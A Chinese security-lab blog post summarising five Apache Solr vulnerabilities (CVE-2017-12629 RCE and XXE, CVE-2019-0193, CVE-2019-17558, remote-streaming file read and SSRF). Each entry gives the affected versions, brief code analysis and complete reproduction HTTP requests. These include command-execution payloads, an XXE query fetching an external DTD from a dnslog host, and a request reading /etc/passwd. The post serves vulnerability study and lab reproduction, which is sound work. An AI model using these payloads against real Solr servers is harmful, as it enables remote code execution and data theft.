雷石|Apache_Solr漏洞总结

雷石安全实验室

共 9957字,需浏览 20分钟

 · 2023-10-14


1.CVE-2017-12629 命令执行漏洞


漏洞简述:

原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。


影响版本:

Apache Solr < 7.1


漏洞分析:

漏洞点在RunExecutableListener类中exec(),这里使用Runtime.getRuntime().exec() 方法进行命令执行。



传入的参数在这里处理:


这里有两种方法均会调用exec()


而上述两种方法调用由提交的"event"参数决定


第一种UpdateHandler.class 类parseEventListeners()方法

"event"参数内容为 "postCommit"和"postimize"将调用postCommit()

需要二次请求/upload触发命令执行


第二种SolrCore.class 中initListeners()方法

event如果是:“firstSearcher”和 "newSearcher" 将调用newSearcher()方法直接执行命令


漏洞复现:

首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数

POST /solr/demo/config HTTP/1.1Host: ip:8983Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 169 {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","    args":["-c", "touch /tmp/cve-2017-12629"]}}


然后进行update操作,触发刚刚添加的listener

POST /solr/demo/update HTTP/1.1Host: ip:8983Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 17 [{"id":"test"}]


一步执行

POST /solr/demo/config HTTP/1.1Host: 172.16.1.182:8983Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 160 {"add-listener":{"event":"newSearcher","name":"rtener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "echo 1 > /tmp/secxxx.txt"]}}

2.CVE-2017-12629 XML 实体注入漏洞


漏洞简述:

Solr 基于 HTTP 和 Apache Lucene 实现。Lucene在解析xml数据时,未设置任何防御措施,导致可引入恶意外部实体造成了XXE漏洞。


影响版本:

Apache Solr < 7.1


漏洞分析:

该漏洞其实是Lucene存在xxe漏洞,由于solr使用了Lucene既产生了漏洞。


漏洞点:


漏洞复现:

http://172.16.1.182:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2fx4m9pz.dnslog.cn%2f1.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser


http://172.16.1.182:8983/solr/demo/select?&q=<?xml+version="1.0"+?><!DOCTYPE+root[<!ENTITY+%+ext+SYSTEM+"http://xxxxxx/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser


3.CVE-2019-0193 模板注入漏洞


漏洞简述:

Apache Solr的DataImportHandler模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。


影响版本:

Apache Solr < 8.2.0


漏洞分析:

DataImportHandler用于从数据库和其他源中提取数据,它有一个特性即整个DIH配置可以来自一个请求的“dataConfig”参数。DIH管理的调试模式使用它来方便地调试DIH配置的开发。因为DIH配置可以包含script脚本,所以这个参数存在安全风险。


在handleRequestBody()函数中可看到接收了dataConfig参数,该漏洞原因是solr自身的模块有执行脚本的功能,而修复方法便是禁用debug模式。

从 Solr 的8.2.0版本开始,使用这个参数需要将 Java System 属性 enable.dih.dataConfigParam 设置为 true,此时也将存在该漏洞。


漏洞复现:

创建名为test的Coredocker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db然后在浏览器选择刚创建的核心,选择Dataimport〉 勾选debug〉Debug-Mode》 执行。

请求如下:

POST /solr/test/dataimport?_=1696728328091&indent=on&wt=json HTTP/1.1Host: 172.16.1.182:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://172.16.1.182:8983/solr/Content-type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestContent-Length: 677Origin: http://172.16.1.182:8983Connection: close command=full-import&verbose=false&clean=true&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fccccc1%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport


4.CVE-2019-17558 命令执行漏洞


漏洞简述:

Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助Velocity模板利用该漏洞在系统上执行任意代码。


影响版本:

Apache Solr 5.0.0 ~8.3.1


漏洞分析:

该漏洞是在返回内容进行模板渲染的时产生了代码注入

在这里写入响应

 


调用

QueryResponseWriterUtil.writeQueryResponse



最后会到

VelocityResponseWriter#write创建velocity模板引擎,然后进入模版方法,触发漏洞。


漏洞复现:

params.resource.loader.enabled 默认情况下 未开启,可先通过如下API获取所有的核心。然后修改该项为true (vulhub中核心是demo)

要添加Content-Type头 指定:application/json

{  "update-queryresponsewriter": {    "startup": "lazy",    "name": "velocity",    "class": "solr.VelocityResponseWriter",    "template.base.dir": "",    "solr.resource.loader.enabled": "true",     "params.resource.loader.enabled": "true"  }}


执行命令:

http://ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

5.Remote-Streaming-Fileread  (任意文件读取+SSRF)


漏洞简述:

Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取.

影响版本:

Apache Solr <= 8.8.1均受影响

漏洞分析:

漏洞点


strs为获取前端传入值后 调用-ContentStreamBase#URLStream或FileStream

去读取文件和请求url

获取文件时,未对strs的值进行检查或过滤



漏洞复现:

通过config修改配置

POST /solr/demo/config HTTP/1.1Host: 172.16.1.182:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/jsonUpgrade-Insecure-Requests: 1Content-Length: 82 {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

读取文件:


POST /solr/demo/debug/dump?param=ContentStreams HTTP/1.1Host: 172.16.1.182:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1Content-Length: 29 stream.url=file:///etc/passwd

SSRF

改为http协议

雷石安全实验室


商务咨询:

0571-87031601

商务邮箱:

mtn@motanni.com

浏览 1012
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报